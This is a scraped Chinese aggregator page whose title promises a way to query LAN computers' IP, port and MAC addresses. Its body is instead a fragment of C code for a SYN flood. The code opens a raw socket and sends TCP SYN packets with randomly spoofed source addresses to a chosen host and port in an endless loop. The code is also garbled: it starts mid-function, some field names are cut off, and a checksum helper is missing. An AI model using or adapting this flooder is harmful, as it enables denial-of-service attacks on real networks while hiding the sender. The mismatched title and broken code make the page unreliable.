admin管理员组文章数量:1564682
2024年1月17日发(作者:)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=4)
{
fprintf(stderr,"Usage:%s des_hostname/ip des_port local_portn",argv[0]);
exit(EXIT_FAILURE);
}
memset(&addr,0,sizeof(struct sockaddr_in));
_family=AF_INET;
if(inet_aton(argv[1],&_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
exit(EXIT_FAILURE);
}
_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
_port=htons(atoi(argv[2]));
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%sna",strerror(errno));
exit(EXIT_FAILURE);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
send_data(sockfd,&addr,argv[3]);
}
void send_data(int sockfd,struct sockaddr_in *addr,char *port)
{
char buffer[100];
struct iphdr *ip;
struct tcphdr *tcp;
int head_len;
head_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
bzero(buffer,100);
ip=(struct iphdr *)buffer;
ip->version=IPVERSION;
ip->ihl=sizeof(struct ip)>>2;
ip->tos=0;
ip->tot_len=htons(head_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr = addr->sin_addr.s_addr;
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(atoi(port));
tcp->dest=addr->sin_port;
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;
tcp->check=0;
while(1)
{
ip->saddr=random();
tcp->check=0;
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,(socklen_t)sizeof(struct sockaddr_in));
}
}
版权声明:本文标题:查询局域网电脑的IP,端口号,MAC地址 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dongtai/1705492172a141537.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论